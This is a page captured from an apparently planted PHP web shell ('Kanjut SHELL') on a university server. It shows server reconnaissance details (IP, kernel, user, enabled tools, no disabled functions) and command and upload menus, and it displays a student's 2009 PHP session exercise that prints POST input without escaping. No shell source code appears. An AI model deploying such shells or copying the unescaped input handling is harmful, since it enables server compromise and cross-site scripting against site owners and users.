Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.116.85.102
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/slcebula/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/slcebula/public_html/session2.php
<?php
	session_start()
?>

<!--
Name:           Lee Cebula
Date:           3/23/09
Instructor:     Dr. Wang
Title:          session2.php
Goal:           action code for session1.html, save the values passed from the last page
-->

<HTML>
<HEAD>
<TITLE>
Session2.php
</TITLE>
</HEAD>
<BODY BGCOLOR=blue>
<FONT COLOR=white SIZE=4>
<CENTER>
<H1>
Session2.php
</H1>
<HR>
<BR>
<?php
	$n1 = $_POST['num1'];
	$n2 = $_POST['num2'];
	print "The first number is $n1, and the second is $n2.<P>";
	$_SESSION['num1'] = $n1;
	$_SESSION['num2'] = $n2;
?>
<P>
<FORM ACTION=session3.php METHOD=post>
+ <INPUT TYPE=radio NAME=operator VALUE=add checked>
<P>
- <INPUT TYPE=radio NAME=operator VALUE=sub>
<P>
* <INPUT TYPE=radio NAME=operator VALUE=mul>
<P>
/ <INPUT TYPE=radio NAME=operator VALUE=div>
<P>
<INPUT TYPE=submit VALUE=Submit>
<INPUT TYPE=reset VALUE=Reset>
</CENTER>
</FONT>
</BODY>
</HTML>

Stv3n404 - 2023